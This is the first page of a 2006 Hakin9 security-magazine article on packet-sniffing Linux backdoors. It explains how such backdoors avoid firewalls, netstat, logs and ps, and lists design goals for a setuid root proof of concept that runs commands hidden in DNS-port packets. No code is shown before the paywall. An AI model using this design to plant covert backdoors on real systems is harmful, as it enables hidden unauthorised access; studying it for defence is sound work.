Hakin9 - Hard Core IT Security Magazine

Access:

» Writing advanced Linux backdoors – packet sniffing

Related categories: Sniffing | Security | Linux | Backdoors

Brandon Edwards
Viewed: 17165 | Article date: 2006-03-10 17:33:11

People create new defences for backdoors and intruders are forced to innovate new techniques to keep pace with the rapidly progressing security industry e.g. packet sniffing backdoors. Brandon describes how they work by writing our own proof-of-concept tool.

About the author

Brandon Edwards, also known as drraid, is a security researcher and student from Portland, Oregon, United States. He has spoken at security conferences such as Defcon and currently works in the security industry. He can be contacted at drraid@gmail.com.

As people create new defences for backdoors, intruders are forced to innovate new techniques to keep pace with the rapidly progressing security industry. One of such techniques is packet sniffing backdoors. Let's learn how they work by writing our own proof-of-concept tool.

A new backdoor technique which has evolved from the need to bypass a local firewall (like Netfilter), without embedding code or connecting back, is packet sniffing. This style of backdoor works by capturing packets (possibly with specific traits) to interpret for commands to execute. The packets containing the backdoor commands don't have to be accepted by the system as a connection, just seen by the target system's network interface.

What you will learn...

how the packet sniffing backdoor technique works,
how to use this technique in practice.

What you should know...

Linux TCP/IP networking basics,
C programming basics,
Linux networking using libpcap.

Local vs remote backdoors

Local backdoors are executed locally on the target system (hence the name), and thus require that the attacker has some form of prior access to the affected system before execution. Most local backdoors are used by intruders who have shell access to the compromised system, using the backdoor to escalate their privileges. Although there are many approaches for covertly using and hiding local backdoors, the necessity for the attacker's local presence provides an inherent high risk of discovery. For this reason, remote backdoors are becoming more prevalent than those which require local access.

Remote backdoors are network accessible, allowing for use from the attacker's system without prior access (other than the initial planting of the backdoor itself, of course). Traditionally, these backdoors were accessed remotely via TCP sockets listening on a high port, to which the user could connect. Upon establishing a connection, authentication may have been required, however many backdoors granted access immediately. This style of standard socket listening backdoor is primitive and very easily discovered by tools such as netstat (assuming netstat itself is not backdoored). This type of backdoor is also easily discovered by remote port scanning, consequently allowing arbitrary use by other hackers.

There are many interesting advantages with packet sniffing for commands (instead of listening for or initiating connections). By capturing packets off the network interface, and not asking the system for a socket, packets are seen by the backdoor regardless of being locally filtered (by Netfilter, for example). Since it never has to accept a connection through the system, it never shows up with netstat. Finally, because it only needs to capture packets directed at the system (not other systems on the network), it can keep the network interface in non-promiscuous mode to prevent it from showing up in local system logs.

New backdoor tactics

As the security industry has progressed, administrators have learned to detect and defeat basic socket listening backdoors. By implementing firewall rules to block traffic on ports not essential to legitimate services, connectivity to listening backdoors can be greatly reduced, if not eliminated. To counteract this defence, new tactics were devised.

Embedding backdoor code inside of existing, privileged, socket-listening daemons to evade firewall(s). A backdoor-embedded daemon would listen for and provide normal service until some form of a protocol trigger is received, at which point privileges would be raised (if necessary) and a shell bound to the socket. A key advantage with this backdoor is if it is picked up by netstat or a port scan, it shows up as a standard listening daemon. The risks with this method reside in having to replace a privileged binary on the target system, as it is likely be noticed by host IDS or a seasoned admin. Even if never noticed, if the daemon is ever upgraded, the backdoored binary is likely to be overwritten (by the new, legitimate binary).

Connecting back to a hackers machine, instead of listening for an inbound connection, to bypass firewall(s). The assumption for this tactic is made that if a firewall is in place, its policies allow outbound traffic to arbitrary ports by default. Firewalls which track the state of connections (stateful firewalls) often allow the returning inbound traffic related to established connections, and thus make this technique successful. Unfortunately, this form of backdoor shows up in the output of netstat (and appears very conspicuous), because it is still a system managed connection. Another major flaw with this method is that timing and or triggers are required to determine when and where a connect-back occurs.

Backdoor design

Along with the advantages of packet sniffing backdoors, come some interesting issues, such as identifying which packets to interpret for commands, and how to authenticate them. Also, sending plain text command strings inside of packets might give away the presence of a backdoor to someone monitoring network traffic - some form of encoding or encryption (even if just simple character substitution) should be used. Although this method is not flawless, it can be very inconspicuous and difficult to notice unless specifically being looked for. This article further examines the nature of this type of backdoor by demonstrating how to write one.

Backdoor objectives

Before writing any program, it is best to first identify the program's objectives. Once objectives are identified, it is then easy write an outline of the program to later base code upon. The objectives (goals) to achieve with our example packet sniffing backdoor will be the following:

Run as a setuid() program, obviously to give its user root access, but also because root privileges are required for packet capturing.
Capture packets directed at a selected, popular port such as UDP 53 (used by DNS).
Interpret and decipher each packet with some form of authentication, ideally encryption, and execute authenticated packet contents as commands upon authenticating.
Have some additional rootkit functionality to avoid detection from tools such as ps.

Code skeleton

Having identified this example's objectives, we now have to use some way to illustrate the program's structure and logic. This can be done in many ways, for example via diagrams. Another way is to use pseudo-code, which may later be easily read and translated into real code.

Listing 1 contains a program skeleton outlining how to attain the desired backdoor goals. This outline is written in a descriptive code-comment fashion, and meant to illustrate the program's flow of logic. This base is used in reference throughout the article for writing the actual backdoor code.

Page: 1 2 3

Buy article		Buy subscription

Standard price: 2€/$3		Standard price: 25€/$30
Buy article for as little as (2€/$3) each allow access to individual articles.		Buy a full access to our Hakin9 archive portal. You will be able to read the articles from all archive issues from year 2005 and 2006. For just 25€/$30 you get unrestricted access to the entire website for the whole year.